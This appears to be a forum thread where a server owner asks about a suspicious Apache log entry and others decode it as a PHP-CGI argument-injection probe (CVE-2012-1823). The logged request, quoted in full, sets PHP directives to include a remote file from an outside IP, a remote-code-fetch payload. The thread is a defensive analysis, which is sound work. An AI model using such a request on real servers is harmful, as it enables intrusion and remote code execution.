I found this in my Apache logs :

access.log:24.32.72.168 - - [23/May/2012:00:43:53 -0700] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt HTTP/1.1" 200 5630 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)"

Has anyone seen anything like this ?
I've tried it myself. No errors, nothing I can see. The particular server is running Wordpress.

I doubt that in and of itself, the URL would cause you problems. On a non-susceptiable machine I believe it will serve up index.php and that be it. Let's try to break it apart and see what we can determine:
1) /index.php - the base file that it is after
2) ?, the flag that indicate GET parameters follow.
3) -dsafe_mode, this looks like a -d (define ?) flag followed by the keyword safe_mode.
4) %3d (hex, ascii) is an = sign, followed by the keyword off.
5) the + sign. My guess is that this comes from "Plus signs are used in urlencoding. There is a switch called urlencode in PHP which basically replaces spaces in URL's with + signs." http://www.v7n.com/forums/seo-forum/...-sign-url.html

The above is repeated with the following keywords: disable_functions, allow_url_fopen, allow_url_include, auto_prepend_file. Following that we see http://81.17.24.82/info3.txt
Doing a little bit of digging on the IP address in the URL shows some oddities:
1) According to ipillion.com, (http://www.ipillion.com/ip/81.17.24.82) This is a Russian IP, possibly a residential DSL account in Moscow. It does not seem to be flagged by various honeypots.
2) a whois lookup shows it being delegated as part of an IP range in Panama City, Panama and gives AS51852
3) AS51852 shows up as being Private Layer INC of Switzerland.
I am not sure what to make of this genetic lineage, other than it would appear obfuscated to say the least.

Looking at the keywords in the URL, reveals them to be PHP security directives (http://blog.up-link.ro/php-security-...configuration/)
So, these would appear to be directives to try to get PHP to get promiscuous to allow remote file inclusion, followed by a location and file to obtain. Clearly this is an attempt to exploit your server. The question remains as to exactly what would be vulnerable against it (obviously something running PHP). As I mentioned at first, the inclusion of the get parameters won't have an effect, unless something is trying to parse them. If you don't have any such vulnerability, I expect a 200 code response for returning index.php.

1 members found this post helpful.

Many thanks for your analysis ! The links you have posted will keep me busy for a while. I've implemented one suggestion already from the PHP link, and shall experiment with the rest ( until Wordpress breaks )

A 200 response code is exactly what is returned when I cut and paste the /index.php..etc
the only difference being the size of the file returned. I get '200 2169' whereas our mystery man got "200 5630"
which is what prompted me to ask the question.

Any further recommendations would be welcome.

1 members found this post helpful.

Happy to help! In fact, I learned something new from your response. I didn't know that the number after the response code was the amount of data transferred / file size returned. The fact that they are different has really gotten my curiosity up, as the funky URL returns an extra 2K of data. It would be good to know what this is!

I would recommend that you try to see if you can get see what the difference is. This may be as simple as looking at the page source (in the browser). Using Lynx might be another good option here as it will display in text rather than trying to interpret everything. I would also suggest trying the wget command with the -S flag to get the headers. Alternatively, curl might be a useful tool. I am not sure what to recommend as far as syntax for these. Lastly, you could try tcpdump with a filter for your connection to port 80 and see what it says is being transferred.

1 members found this post helpful.

AFAIK this is CVE-2012-1823. See http://www.php.net/archive/2012.php#id2012-05-03-1 and http://eindbazen.net/2012/05/php-cgi...cve-2012-1823/

3 members found this post helpful.

Good advice, it turns out.
Wget to this server with just the bare domain name ( wget example.com ) returns a file with the code 200 and 5347 in size.
Wget to this server with the domain name and 'index.php?-dsafe_mode%3dOff' etc. appended to it returns exactly the same code and file size.

If the files are examined they are identical. As you predicted, they are the index.php page.

The Apache logs record '200 5630' for both transactions.

The difference between my original '200 2169 could be Apache returning files formatted for different browsers ?

I do have nfdump/nfsen running continuously, and a search on both of the errant IP's show only one entry - at precisely the date and time in the Apache logs - with the same file size.

UnSpawn, that the links you provided help explain what was going on. To me, it looks like a fishing expedition for older, unpatched versions of PHP.

All in all, a tempest in a teapot, but a great learning experience. Thanks to both of you.

Out of curiosity, is there any background info on "NoWay2" ? And what is 'UnSpawn' all about, or dare I ask

The different in size for the return might also come from compression. Might be that the "attacker" did not use compression and wget might have used it. Or it might be possible that the "attacker" also send some POST data which don't show up in the apache logs which in turn returned more data. Wasn't there a apache log option to as well log the amount of data going in?

1 members found this post helpful.

Bang on ! The main page of the website has an image on it !

My browser has seen this page before, so it is in the browser cache. Wget has no cache ( that I know of ).

The only apache entry is the one above, and nfdump / nfsen's history confirm that there was only that one hit. The boys were fishing..... if it was coupled with a POST I would be quite concerned.

I more refered to the log options of apache itself. Also it's releaving that they only tried once. Isn't it? Or maybe they succeded first time? :P Just kidding.